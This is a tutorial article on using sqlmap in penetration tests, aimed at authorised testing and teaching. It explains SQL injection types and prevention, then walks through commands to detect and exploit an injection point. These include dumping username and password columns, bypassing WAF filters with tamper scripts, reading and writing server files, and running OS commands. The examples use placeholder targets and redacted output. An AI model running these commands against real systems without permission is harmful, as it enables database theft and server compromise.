SQLmap: Comprehensive Guide to Understanding, Detecting and Exploiting SQL Injections (SQLi)

SQLmap: Comprehensive Guide to Understanding, Detecting and Exploiting SQL Injections (SQLi)

SQL injections are among the long-standing vulnerabilities in web applications. Despite the widespread use of frameworks, ORMs and more secure data access mechanisms, they can still occur when user-controlled data directly influences the structure of a query executed by a database.

Manual exploitation remains essential for gaining a precise understanding of an SQLi. It enables one to identify the syntactic context, observe differences in responses and determine which techniques actually work. However, as soon as it becomes necessary to enumerate a database or reconstruct information via a blind injection, the number of queries can quickly become very large.

This is precisely the role of sqlmap: to automate a large part of the detection and exploitation processes, without, however, replacing the auditor’s analysis.

In this article, we explain how sqlmap works, the various methods for feeding it HTTP requests, and the main parameters for configuring its detection mechanisms. We also explain in detail how to interpret the results obtained, exploit an identified SQL injection, and use certain advanced features of the tool as part of a penetration test.

NB: The procedures described here must only be carried out on environments for which explicit authorisation to test has been obtained.

Comprehensive Guide to SQLmap

What is SQLmap?

Sqlmap is an open-source penetration testing tool specialising in the detection and exploitation of SQL injections. It features an engine capable of adapting its tests to the injection point, the identified database management system, the available techniques and the observed behaviour of the application.

When an injection is exploitable, sqlmap can, amongst other things, identify the DBMS, retrieve information about the SQL session, enumerate accessible databases, tables and columns, and then extract specific data in a targeted manner. Depending on the DBMS and the available privileges, the tool can also interact with the file system or use database engine features to execute commands on the operating system.

This automation does not mean that sqlmap replaces a technical understanding of an SQL injection. In a penetration test, the tool is generally much more effective when the tester has already identified the entry point, understood the query structure and observed the application’s constraints.

Running sqlmap indiscriminately across an entire application generates traffic, increases noise and can complicate the analysis. A more effective approach is often to manually identify suspicious behaviour, then use sqlmap to confirm the injection and automate repetitive steps.

How Does an SQL Injection Work?

What is an SQL injection?

A web application needs to regularly send information to a database: to search for a user, display a product, record an order, check access rights or retrieve a resource.

Let’s take a simplified example in PHP:

$id = $_GET['id'];

$query = "SELECT name, description, price
          FROM products
          WHERE id = " . $id;

A legitimate request might be:

GET /product?id=42 HTTP/1.1
Host: example.test

The application then constructs an SQL query similar to:

SELECT name, description, price
FROM products
WHERE id = 42;

The problem stems from the fact that the value entered by the user is directly concatenated into the query. The user therefore does not merely control a piece of data: they can potentially influence the syntax sent to the SQL engine.

This blurring of the lines between data and SQL statements is the fundamental principle behind an SQL injection.

What are the potential consequences of an SQLi attack?

The impact of an SQL injection varies greatly depending on the context. An initial injection may only allow the attacker to infer some information relating to the vulnerable query. Another may grant access to all the data contained in several tables or databases accessible to the SQL user.

Sensitive information may then be exposed: user accounts, personal data, business data, tokens, application secrets, administrative information or data used by other components.

Some injections also allow data to be modified or deleted. Finally, where the DBMS provides suitable functionality and the application account has elevated privileges, the exploit may sometimes extend beyond the database to affect the operating system.

It is therefore important not to treat all SQLi attacks as equivalent. The exploitation phase serves precisely to determine how far the vulnerability actually allows one to go, using the minimum actions necessary to demonstrate its impact.

Main SQL injection techniques

An injection can be exploited using various techniques.

  • With a UNION-based SQL injection, the attacker adds a second SELECT query to the one executed by the application so that the information they are seeking is included in the returned result.
  • An error-based SQL injection exploits the error messages generated by the DBMS. Certain constructs can be used to deliberately trigger an error containing information from the database.
  • In a boolean-based blind SQL injection, no data is returned directly. The attacker submits true and false conditions and then observes differences in the application’s behaviour to gradually reconstruct the information sought.
  • A time-based blind SQL injection is based on the same logic, but uses response time as the channel. A true condition can, for example, deliberately cause a delay at the DBMS level.
  • Finally, when several SQL statements can be executed in succession, this is referred to as ‘stacked queries’. This capability can significantly expand the scope for exploitation, particularly when seeking to execute statements that do not directly return a result.

Sqlmap uses the letters B, E, U, S, T and Q to denote, respectively, Boolean-based blind, error-based, UNION query, stacked queries, time-based blind and inline queries.

How to prevent SQL injections?

The main protective measure is to use parameterised queries, also known as prepared statements.

Instead of constructing an SQL statement by directly concatenating a user-controlled value, the application defines the structure of the query and its parameters separately.

For example:

$stmt = $pdo->prepare(
    "SELECT name, description, price
     FROM products
     WHERE id = ?"
);

$stmt->execute([$id]);

In this case, the DBMS treats the value provided as data rather than as part of the SQL syntax. This separation is the main defence recommended by OWASP against SQL injection.

The principle of least privilege also remains essential. An application that uses an SQL account restricted to strictly necessary operations significantly reduces the potential impact of an injection, even if a vulnerability remains in the code.

To learn more about injection mechanisms and best practices for prevention, our guide on SQL injections details the main exploitation scenarios and the associated protective measures: SQL Injection (SQLi): Types, Exploitation and Security Best Practices.

Installing and Getting Started with SQLmap

Install and update sqlmap

Sqlmap is written in Python and can be downloaded directly from its official Git repository. The recommended method is to clone the project:

git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
cd sqlmap-dev

The tool can then be launched directly:

python sqlmap.py -h

Installation via PyPI is also available:

pip install --upgrade sqlmap

To update a copy retrieved from Git:

python sqlmap.py --update

or:

git pull

Before a major audit, working with a recent version helps to avoid identifying issues that may already have been rectified or improved within the project.

Understanding help, verbosity and sessions

The -h option displays the main options available:

python sqlmap.py -h

The -hh option displays the full help:

python sqlmap.py -hh

Sqlmap also offers several levels of verbosity using the -v option. For example:

python sqlmap.py -r request.txt -v 3

provides further information about the payloads being tested. Higher levels reveal more details about HTTP exchanges and make it easier to diagnose issues when the tool’s behaviour appears inconsistent.

Finally, sqlmap automatically retains session information for targets that have already been tested. This persistence speeds up subsequent runs, but it can also give the impression that a test is being rerun when the tool is simply reusing a previous detection. We will return later to the –flush-session option, which allows you to start afresh.

How to Specify a Target for SQLmap?

Sqlmap supports several input formats. In a web penetration test, the most useful are generally a URL provided directly on the command line or a complete HTTP request exported from an interception proxy.

Testing a GET parameter with -u

The simplest approach is to provide a URL using the -u option:

python sqlmap.py \
  -u "https://target.example/product?id=42"

Sqlmap identifies parameters present in the URL and can test them as potential injection points.

When the parameter of interest is already known, it is best to specify it using the -p option:

python sqlmap.py \
  -u "https://target.example/product?id=42" \
  -p id

This selection reduces the number of queries and avoids testing irrelevant values.

Testing POST data with –data

For a standard POST request, the data can be provided using –data:

python sqlmap.py \
  -u "https://target.example/search" \
  --data="category=books&sort=price" \
  -p category

The tool then treats the parameters in the request body as potential injection points.

When an API uses a different HTTP method, the –method option can be used to explicitly force it:

python sqlmap.py \
  -u "https://target.example/api/item/42" \
  --method=PUT \
  --data='{"name":"test"}'

Using a complete HTTP request with -r

In a real-world penetration test, the -r option is often one of the most useful. A request captured using Burp Suite can be saved to a file:

GET /product?id=42 HTTP/1.1
Host: target.example
Cookie: session=eyJhbGciOi...
User-Agent: Mozilla/5.0
Accept: text/html
Connection: close

And then passed directly to sqlmap:

python sqlmap.py -r request.txt

This method preserves cookies, headers, POST data and other elements required to faithfully reproduce the request. Above all, it avoids having to manually reconstruct a complex request on the command line.

Specify the injection point precisely

When the injection point is already known, it is best to specify it explicitly.

One option is to use the -p option:

python sqlmap.py \
  -r request.txt \
  -p TrackingId

Another option is to place the * character exactly where sqlmap is to inject its payloads.

For example, in a cookie:

Cookie: TrackingId=abc123*; session=eyJhbGciOi...

This syntax also works in various locations within a request and becomes particularly useful when the injectable data is nested within a more complex structure.

Testing an API and a JSON payload with sqlmap

Modern applications frequently return their data in JSON format. In such cases, using a complete request with the -r option is often the most readable approach.

Example:

POST /api/products/search HTTP/1.1
Host: target.example
Content-Type: application/json
Authorization: Bearer eyJhbGciOi...

{
  "category": "books*",
  "sort": "price"
}

The request can then be used with:

python sqlmap.py -r api-request.txt

The asterisk here indicates that payloads must be injected into the ‘category’ value.

Recent versions of sqlmap can also derive targets from an OpenAPI or Swagger specification using the –openapi option. This feature can be useful for exploring a documented API, but it should be used selectively to avoid unnecessarily generating tests across a large number of routes.

Managing an authenticated application and specific headers

An SQL injection may occur behind an authentication mechanism. When a session is based on a cookie, the cookie can be provided directly:

python sqlmap.py \
  -u "https://target.example/account?id=42" \
  --cookie="session=0123456789abcdef"

For an endpoint using a bearer token:

python sqlmap.py \
  -u "https://target.example/api/orders?id=42" \
  --headers="Authorization: Bearer eyJhbGciOi..."

In more complex cases, an authenticated request recorded with Burp Suite and used via the -r option is generally easier to maintain.

Configuring SQL Injection Detection with SQLmap

Once the target has been specified, sqlmap analyses the application’s behaviour and sends various payloads to determine whether a parameter actually influences an SQL query.

It therefore does not merely seek to trigger an error. Depending on the technique, the tool compares true and false responses, attempts UNION constructions, analyses error messages or measures controlled response times.

Focus solely on the relevant parameters

When dealing with a query containing numerous parameters, it is rarely practical to test everything systematically.

When the suspected vulnerability is already known:

python sqlmap.py \
  -r request.txt \
  -p id

Sqlmap also offers mechanisms for skipping certain parameters or filtering the locations to be tested. The key principle is simple: the more specific the target, the clearer the analysis and the less traffic is generated.

Adjust the level of detail using –level

–level defines the comprehensiveness of the tests carried out by sqlmap. Its value can range from 1 to 5.

At a low level, sqlmap limits the number of payloads and the locations tested. As the level increases, the tool gradually expands its coverage. GET and POST parameters are tested by default, whilst cookies and then certain headers may be automatically included at higher levels.

It may be tempting to use the following straight away:

python sqlmap.py \
  -r request.txt \
  --level=5

However, this option significantly increases the number of requests. In a penetration test, it is often preferable to start in a targeted manner and then gradually increase the –level setting when the context warrants it.

Understanding the implications of –risk

–risk controls the category of payloads that sqlmap is permitted to use. The default setting favours relatively low-risk tests. Higher levels introduce more intensive or potentially more dangerous tests.

For example, depending on the position of the injection within an UPDATE query, certain logical payloads could theoretically result in more records being modified than intended.

The fact that an option exists does not therefore mean that it should be enabled systematically:

python sqlmap.py \
  -r request.txt \
  --risk=3

should only be used after understanding the context of the vulnerable query and the potential effects of the tests.

Limit techniques using –technique

Where an injection has already been identified manually, there is no need to test all payload families.

For a boolean-based blind injection:

python sqlmap.py \
  -r request.txt \
  --technique=B

For a time-based blind attack:

python sqlmap.py \
  -r request.txt \
  --technique=T

It is also possible to combine several letters when you wish to allow multiple techniques. Limiting the scan to relevant methods often saves time and reduces the volume of requests.

Force the DBMS using –dbms

Sqlmap normally attempts to automatically identify the database management system. Where this information is already known, it can be specified directly:

python sqlmap.py \
  -r request.txt \
  --dbms=PostgreSQL

or:

python sqlmap.py \
  -r request.txt \
  --dbms=MySQL

This optimisation is particularly useful when the DBMS has been identified from an error message, source code in a white-box audit, or manual testing.

Helping sqlmap to compare responses

Blind injections rely on an observable signal distinguishing between a true condition and a false condition. When a page contains a lot of dynamic content, sqlmap may struggle to distinguish between the two cases.

–string allows you to specify a string that is present when the condition is true:

python sqlmap.py \
  -r request.txt \
  --string="Welcome back"

Conversely, the –not-string option can identify a string associated with the false condition:

python sqlmap.py \
  -r request.txt \
  --not-string="Invalid tracking ID"

Sqlmap can also rely on HTTP codes, regular expressions or solely on the textual content of the page. These settings become useful when a timestamp, a token, a dynamic component or a custom field interferes with the comparison of responses.

Interpreting the Results Returned by SQLmap

Effective use of sqlmap involves more than simply waiting for the tool to report that a parameter is injectable. The information returned helps you understand where the injection lies, which technique works, and how sqlmap confirmed it.

Let’s take a simplified example of the output:

sqlmap identified the following injection point(s):

---
Parameter: TrackingId (Cookie)

    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: TrackingId=abc123' AND 4821=4821-- -

    Type: time-based blind
    Title: PostgreSQL > 8.1 AND time-based blind
    Payload: TrackingId=abc123' AND 9137=(SELECT 9137 FROM PG_SLEEP(5))-- -
---

back-end DBMS: PostgreSQL

The random values generated in the payloads may vary from one execution to the next, but the structure of the output remains particularly useful for understanding the vulnerability.

Parameter: identify the injection point

The first piece of information to look at is:

Parameter: TrackingId (Cookie)

This indicates that the injection was identified in the TrackingId cookie.

Depending on the context, sqlmap may also return:

Parameter: id (GET)

or:

Parameter: search (POST)

This check is important when the request contains multiple values. It confirms that the tool is indeed exploiting the parameter identified during manual testing.

Type: understanding exploitation techniques

The ‘Type’ field corresponds to the injection family used.

In our example:

Type: boolean-based blind

means that sqlmap can deduce information by observing the differences between true and false SQL conditions.

The presence of:

Type: time-based blind

indicates that the same vulnerability can also be exploited based on response time.

Several techniques may therefore be valid simultaneously. When a fast method allows information to be retrieved directly or efficiently, it is generally preferable to prioritise it rather than relying solely on a time-based blind.

Title: understanding the identified SQL context

The ‘Title’ field specifies the technique and context of the validated payload.

For example:

Title: AND boolean-based blind - WHERE or HAVING clause

indicates that the proof relies on the addition of an AND condition in a context compatible with a WHERE or HAVING clause.

Similarly:

Title: PostgreSQL > 8.1 AND time-based blind

shows that the validated payload uses a time-based primitive suitable for PostgreSQL.

This information becomes particularly useful when one wishes to manually reproduce the injection or understand the likely structure of the vulnerable query.

Payload: analysing the evidence of injection

The Payload field shows the value that enabled sqlmap to confirm the injection point.

For example:

Payload: TrackingId=abc123' AND 4821=4821-- -

The principle can be likened to a query such as:

... WHERE tracking_id = 'abc123'
AND 4821 = 4821

The condition:

4821 = 4821

is true. Sqlmap can simulate a false condition to obtain an oracle for blind exploitation.

In a time-based scenario, the payload may contain a function that generates a delay:

Payload: TrackingId=abc123' AND 9137=(SELECT 9137 FROM PG_SLEEP(5))-- -

The delay is not the vulnerability itself. It simply serves as an observable channel to transform an invisible SQL condition in the HTTP response into a measurable signal.

Identify the DBMS and the technical context

Once the injection has been confirmed, sqlmap usually attempts to identify the DBMS:

back-end DBMS: PostgreSQL

Depending on what it manages to determine, the output may contain further information:

web server operating system: Linux
web application technology: nginx, PHP
back-end DBMS: PostgreSQL 14

Identifying the DBMS is important because the syntax, available functions, system tables and post-exploitation possibilities differ significantly from one engine to another.

Exploiting an SQL Injection with SQLmap

Let us now consider a scenario in which an SQL injection has been identified in a TrackingId cookie.

The following request was captured using Burp Suite and then saved to request.txt:

GET / HTTP/1.1
Host: target.example
Cookie: TrackingId=abc123*; session=eyJhbGciOi...
User-Agent: Mozilla/5.0
Accept: text/html
Connection: close

The * character indicates precisely where sqlmap must insert its payloads.

Confirming the injection

We’ll start with a simple command:

python sqlmap.py -r request.txt

A simplified output might look like this:

[INFO] testing connection to the target URL
[INFO] testing if Cookie parameter 'TrackingId' is dynamic
[INFO] Cookie parameter 'TrackingId' appears to be dynamic
[INFO] testing for SQL injection on Cookie parameter 'TrackingId'

[INFO] Cookie parameter 'TrackingId' appears to be
'AND boolean-based blind - WHERE or HAVING clause' injectable

[INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[INFO] Cookie parameter 'TrackingId' appears to be
'PostgreSQL > 8.1 AND time-based blind' injectable

sqlmap identified the following injection point(s):

---
Parameter: TrackingId (Cookie)

    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: TrackingId=abc123' AND 4821=4821-- -

    Type: time-based blind
    Title: PostgreSQL > 8.1 AND time-based blind
    Payload: TrackingId=abc123' AND 9137=(SELECT 9137 FROM PG_SLEEP(5))-- -
---

back-end DBMS: PostgreSQL

We can draw three key conclusions from this: the injection point is indeed the TrackingId cookie, at least two techniques work, and the DBMS is PostgreSQL.

Where a boolean-based blind exploit is available, it will generally be preferred over an exploit relying solely on time delays.

Identifying the context of the SQL connection

Before listing the business data, it is useful to understand the context in which the application communicates with the DBMS.

python sqlmap.py \
  -r request.txt \
  --banner \
  --current-user \
  --current-db \
  --hostname \
  --is-dba

A simplified output might look like this:

[INFO] fetching banner
banner: 'PostgreSQL 14.11'

[INFO] fetching current user
current user: 'webapp'

[INFO] fetching current database
current database: 'application'

[INFO] fetching server hostname
hostname: 'db-prod-01'

[INFO] testing if current user is DBA
current user is DBA: False

The result “current user is DBA: False” does not mean that the injection has no impact. It simply indicates that certain operations requiring elevated privileges may be impossible.

This information is important to avoid confusing data access with administrative control of the DBMS.

Listing the accessible bases

To instruct sqlmap to list the databases visible to the current user:

python sqlmap.py \
  -r request.txt \
  --dbs

The output might, for example, look like this:

[INFO] fetching database names

available databases [3]:
[*] application
[*] postgres
[*] template1

The ‘application’ database here appears to correspond to the database used by the application under audit. The other entries may relate to the operation of the DBMS and are not necessarily relevant to this demonstration.

The aim is therefore not to automatically extract all accessible data, but to determine which scope is relevant for the risk assessment.

Listing the tables

For traditional DBMSs, -D specifies the database to be enumerated. However, PostgreSQL has a special feature in sqlmap: to enumerate the tables in the current database, the tool requires the use of ‘public’, which represents the schema accessible to the application in this context.

The command can therefore be:

python sqlmap.py \
  -r request.txt \
  -D public \
  --tables

A simplified output:

Database: public

[4 tables]
+------------------+
| audit_logs       |
| password_resets  |
| tracking         |
| users            |
+------------------+

It is important to understand that the display ‘Database: public’ here corresponds to the representation used by sqlmap for the accessible PostgreSQL schema, and not to a claim that a PostgreSQL database named ‘public’ actually exists.

The ‘users’ table appears to be sufficient to continue the demonstration.

Examining the structure of a table

We can then list the columns:

python sqlmap.py \
  -r request.txt \
  -D public \
  -T users \
  --columns

Output example:

Database: public
Table: users

[5 columns]
+------------+-------------------+
| Column     | Type              |
+------------+-------------------+
| id         | integer           |
| username   | character varying |
| email      | character varying |
| password   | character varying |
| role       | character varying |
+------------+-------------------+

This step allows you to understand the table structure before any extraction takes place. Above all, it prevents you from running a dump without knowing what information will be retrieved.

Understanding data volume

Before an extraction, the –count option allows you to find out the number of inputs:

python sqlmap.py \
  -r request.txt \
  -D public \
  -T users \
  --count

For example:

Database: public

+-------+---------+
| Table | Entries |
+-------+---------+
| users | 18427   |
+-------+---------+

This information should inform the testing strategy. Extracting 18,427 users simply to prove the injection would be unnecessarily intrusive.

A few representative records are generally sufficient to establish that the data is accessible.

Extract only the necessary data

To target specific columns:

python sqlmap.py \
  -r request.txt \
  -D public \
  -T users \
  -C username,password \
  --dump

An article’s output may deliberately mask sensitive values:

Database: public
Table: users

+---------------+-------------------------+
| username      | password                |
+---------------+-------------------------+
| administrator | $2b$12$REDACTED...      |
| test-user     | $2b$12$REDACTED...      |
| demo          | $2b$12$REDACTED...      |
+---------------+-------------------------+

To further limit the extraction:

python sqlmap.py \
  -r request.txt \
  -D public \
  -T users \
  -C username,password \
  --dump \
  --start=1 \
  --stop=3

It is also possible to use –where when you wish to target a specific condition.

The key principle to remember is simple: enumerate first, assess the volume, then extract only what is necessary to demonstrate the impact.

How Does SQLmap Exploit Blind SQL Injections?

A blind SQL injection has one key characteristic: the result of the injected query is not directly displayed in the HTTP response.

This does not mean that no information can be retrieved. The auditor simply needs an indirect indicator that allows them to distinguish between a true and a false condition.

Boolean-based blind SQL injection

Let’s take a deliberately simplified example:

AND SUBSTRING(
    (SELECT password FROM users WHERE username='administrator'),
    1,
    1
) = '5'

The application does not return the password directly. However, if the content of the response changes depending on whether the condition is true or false, it becomes possible to test different values.

If the response matches a true condition for 5, we know that the first character is 5. The same operation can then be repeated for the subsequent characters.

Carrying out this extraction manually is useful for understanding the mechanism, but quickly becomes tedious. Sqlmap automates precisely this sequence of tests.

Time-based blind SQL injection

When HTTP responses show no exploitable differences, the response time can be used as a channel.

The principle involves instructing the DBMS to introduce a delay only when a condition is true. On PostgreSQL, a mechanism similar to PG_SLEEP() can be utilised by context-specific payloads.

Sqlmap then measures the server’s behaviour and uses a temporal model to distinguish between deliberate delays and normal latency.

The reference value can be adjusted using –time-sec:

python sqlmap.py \
  -r request.txt \
  --technique=T \
  --time-sec=5

This technique is generally much slower than a method capable of retrieving information directly or indirectly without introducing a delay.

Understanding the cost of a blind extraction

During a blind SQL injection, a simple output such as:

[INFO] fetching current database
[INFO] retrieved: application

can mask numerous HTTP requests.

Behind this line, sqlmap may well have had to determine the length of the value and then reconstruct its characters based on multiple conditions.

In a time-based SQLi, this overhead becomes even greater, as each relevant condition can introduce a delay of several seconds.

This is why an option such as:

--dump-all

is rarely a good first choice for a blind injection. A targeted exploit reduces the audit time, the traffic generated and the impact on the infrastructure.

Going Further with Enumeration using SQLmap

Sqlmap is not limited to –dbs, –tables, –columns and –dump. Once an injection has been confirmed, there are several options available to gain a more detailed understanding of the environment.

Identify users, roles and privileges

–users is used to attempt to enumerate the accounts known to the DBMS:

python sqlmap.py \
  -r request.txt \
  --users

–privileges is used to identify the associated privileges when the DBMS exposes this information:

python sqlmap.py \
  -r request.txt \
  --privileges

–roles can also be used to enumerate roles:

python sqlmap.py \
  -r request.txt \
  --roles

The aim is not necessarily to retrieve all available accounts, but to determine whether the application is running with a user who has unusually high privileges.

Search for a specific table or column

In a large environment, manually browsing through all the tables can be inefficient.

–search allows you to search for database, table or column names. For example, a targeted search for columns:

python sqlmap.py \
  -r request.txt \
  --search \
  -C password,token,secret

This feature is useful when you want to quickly confirm whether a specific category of data is exposed without enumerating the entire schema.

Execute a targeted SQL query

When the auditor knows exactly which query is required to validate a hypothesis, the –sql-query option allows a targeted query to be executed:

python sqlmap.py \
  -r request.txt \
  --sql-query="SELECT current_user"

–sql-shell provides an interactive interface:

python sqlmap.py \
  -r request.txt \
  --sql-shell

These capabilities must be used with caution. A SELECT query is read-only, but other statements may modify the database where the injection technique and privileges allow.

Optimising SQLmap Without Overloading the Application

Sqlmap can generate a significant amount of traffic, particularly during a blind extraction. There are several options available to customise its behaviour.

Speed up certain processes using –threads

–threads increases the number of concurrent requests:

python sqlmap.py \
  -r request.txt \
  --threads=5

This option can speed up certain phases of the extraction process, but it should be used with caution. Too high a level of parallelism can increase the load on the application, the web server or the DBMS.

It may also interfere with the interpretation of an injection that relies on response time.

Slow down requests using –delay

Conversely, the –delay option allows you to add a delay between requests:

python sqlmap.py \
  -r request.txt \
  --delay=0.5

This option can be useful when the infrastructure is load-sensitive or when the application enforces rate limiting.

The aim is not to automatically bypass security measures, but to adapt the pace of testing to the conditions defined for the audit.

Understanding and resetting sqlmap sessions

Sqlmap retains information already obtained about a target: DBMS, injection point, structure already retrieved, etc.

This persistence speeds up subsequent tests, but can be misleading when a query has changed.

To force a new analysis:

python sqlmap.py \
  -r request.txt \
  --flush-session

This option is particularly useful when a change to the configuration, session or payload does not appear to have been taken into account.

Enforce HTTPS where necessary

When working with a raw query or a log file that does not allow sqlmap to correctly infer the protocol, the –force-ssl option can be used to force HTTPS:

python sqlmap.py \
  -r request.txt \
  --force-ssl

This option is useful in certain scenarios when importing queries, particularly when the file does not explicitly contain schema information.

Using Tamper Scripts with SQLmap

Understanding the role of tampers

Tamper scripts modify the payloads generated by sqlmap before they are sent. They can be useful when an application filter, custom validation or a WAF blocks a specific representation of an SQL query, whilst an equivalent syntax is still accepted by the DBMS.

The option used is:

python sqlmap.py \
  -r request.txt \
  --tamper=space2comment

Several scripts can be combined:

python sqlmap.py \
  -r request.txt \
  --tamper=space2comment,randomcase

Sqlmap then applies the transformations defined by these scripts to the payloads before they are sent.

space2comment.py

space2comment.py replaces some spaces with SQL comments.

An expression such as:

SELECT username FROM users

can be represented with comments between certain elements:

SELECT/**/username/**/FROM/**/users

This transformation can help bypass a very simple filter that blocks spaces but allows an equivalent syntax to pass through, which is interpreted correctly by the DBMS.

randomcase.py

randomcase.py changes the case of certain SQL keywords.

For example:

SELECT

may become:

SeLeCt

This transformation can be useful against a poorly designed filter that performs a case-sensitive comparison, whilst the DBMS does not treat the keyword in the same way.

equaltolike.py

equaltolike.py replaces the = operator with LIKE in compatible contexts.

For example:

SELECT * FROM users WHERE id=1

can become:

SELECT * FROM users WHERE id LIKE 1

This script is designed for certain DBMSs such as MySQL, MariaDB, SQLite, Microsoft SQL Server or Oracle. In particular, it is not suitable for PostgreSQL when used in equivalent numerical comparisons, which illustrates why a tamper must always be chosen according to the engine and the context.

Do not stack the tampers randomly

The most important thing is not to know as many scripts as possible, but to understand the filtering mechanisms encountered.

A good approach is to examine the original payload, modify one element at a time, and identify precisely what triggers the block. Once the behaviour is understood, a suitable tamper can be selected.

Conversely, stacking numerous scripts without understanding how they are transformed can result in incompatible payloads, complicate diagnosis and generate a large number of unnecessary requests.

Tampers should therefore be regarded as a targeted transformation mechanism, rather than a ‘magic’ option that automatically bypasses any WAF.

From SQL Injection to Server Compromise

One of the reasons why certain SQLi attacks are particularly critical is that their impact can sometimes extend beyond the database.

However, an SQL injection does not automatically mean that commands will be executed on the operating system.

Several conditions must be met: the DBMS must offer a vulnerable feature, the injection technique must enable the required operation, and the SQL user must have sufficient privileges.

Reading a file using –file-read

Sqlmap can attempt to read a file accessible from the server’s file system:

python sqlmap.py \
  -r request.txt \
  --file-read="/etc/hostname"

This capability is documented for several DBMSs, including MySQL, PostgreSQL, Microsoft SQL Server, Oracle and H2, provided the necessary privileges are available.

In a penetration test, reading a non-sensitive file may be sufficient to demonstrate that the injection allows one to go beyond the strict scope of application data. It is not usually necessary to retrieve sensitive files at will to confirm the impact.

Writing to a file using –file-write and –file-dest

Sqlmap also offers mechanisms for writing files:

python sqlmap.py \
  -r request.txt \
  --file-write="./proof.txt" \
  --file-dest="/tmp/proof.txt"

This capability depends on the DBMS, its configuration, the operating system and the privileges of the SQL account.

It must be used with caution as it alters the environment being audited. Any proof of impact must remain proportionate to the objectives and rules defined for the assignment.

Run a command with –os-cmd

In certain configurations, sqlmap can utilise the DBMS’s capabilities to execute a command on the operating system.

A limited validation test might, for example, use:

python sqlmap.py \
  -r request.txt \
  --os-cmd="whoami"

or, on a Unix system:

python sqlmap.py \
  -r request.txt \
  --os-cmd="id"

Sqlmap documents this capability for MySQL, PostgreSQL, Microsoft SQL Server and H2, provided the technical conditions and privileges are met.

Obtaining the output of a command already constitutes significant proof of impact. Any subsequent post-exploitation activities must therefore be directly linked to the authorised scope.

Why an SQLi does not automatically mean RCE

A common misconception is that a critical SQLi vulnerability necessarily leads to command execution.

In reality, several barriers may prevent this. The SQL account may not have administrator privileges. The necessary functions may be disabled. The DBMS may be running under a system user with very limited privileges. The file system may not be accessible. The injection technique itself may also only permit read-only operations.

The impact analysis must therefore clearly distinguish between capabilities that have actually been demonstrated and those that are purely theoretical.

How to Incorporate SQLmap into a Penetration Testing Methodology?

Sqlmap is sometimes used as a scanner to which a URL is provided, along with as many options as possible. This approach is neither the most effective nor the most representative of a manual penetration test.

The auditor usually begins by understanding the functionality being tested: what data is sent, how it is processed, what responses are returned, and which parts of the application appear to interact with a database.

When suspicious behaviour arises, they may manually test a few simple variations to determine whether a particular value actually influences the query. This phase often helps to identify the syntactic context, suspect a particular DBMS, or determine whether a response varies depending on whether a condition is true or false.

Sqlmap then comes into play as an automation tool. It enables the injection point to be confirmed more comprehensively, tests to be reproduced and, above all, operations to be automated that would otherwise require tens, hundreds or thousands of manual queries.

This approach reduces unnecessary traffic and facilitates diagnosis when the tool fails. It also allows the tester to maintain control over the impact of the test.

For example, it is not necessary to use:

--dump-all

simply because the option exists. A few rows from a representative table may be sufficient to demonstrate that an attacker could access sensitive information.

Similarly, achieving a controlled execution of ‘whoami’ or ‘id’ may be sufficient to demonstrate command execution without needlessly pursuing post-exploitation.

Sqlmap should therefore be regarded as an automation tool supporting a penetration testing methodology, rather than as a substitute for that methodology.

Conclusion

Sqlmap is one of the leading tools for detecting and exploiting SQL injections. Its power lies primarily in its ability to automate time-consuming and repetitive tasks: testing multiple techniques, identifying the DBMS, exploiting blind SQLi, exploring a database’s structure and retrieving specific information.

However, its capabilities extend much further. Sqlmap can operate using authenticated queries, manipulate cookies and headers, handle CSRF tokens, replicate second-order injections, or adapt its payloads to specific filtering mechanisms. Where the DBMS and user privileges allow, it can also interact with the file system or execute commands on the server.

This wealth of functionality should not lead to the tool being used indiscriminately.

In a penetration test, sqlmap is particularly effective when used following an initial phase of manual analysis. Understanding the vulnerable query, precisely identifying the injection point, selecting the appropriate techniques and limiting the exploitation to the necessary information enables more reliable results whilst reducing traffic and risks to the environment under audit.

Mastering sqlmap therefore does not mean memorising dozens of options. It is primarily about understanding SQL injections well enough to know when, why and how to use each of its features.